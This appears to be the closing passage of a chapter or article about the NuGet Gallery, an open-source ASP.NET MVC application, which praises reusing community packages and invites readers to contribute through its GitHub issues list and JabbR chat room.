The NuGet Galley is just one example of a real-world application out of the infinite possibilities that such applications could take. It's not intended to be a reference application or an example of "This is the one true way to build an ASP.NET MVC application."

Its only purpose was to meet the need for a gallery to host NuGet packages. And so far, it's doing that very well, though there are a few issues here and there.

However, there's one aspect of building this gallery that I think is universally applicable to developers. The NuGet team was able to build the gallery so quickly and with such high quality because we

were able to leverage so many useful and well written community-built packages. Leveraging existing packages will help you build better software faster, so it's worth taking time to look through the NuGet Gallery. There are many great packages beyond the ones used by this code.

If you would like to get your hands dirty working on a real-world ASP.NET MVC application, why don't you consider helping out? It's an open source project and the NuGet team welcomes contributors. Just take a look at our issues list, <https://github.com/nuget/nugetgallery/issues>, or meet us in our JabbR chat room, <http://jabbr.net/#/rooms/nuget>.
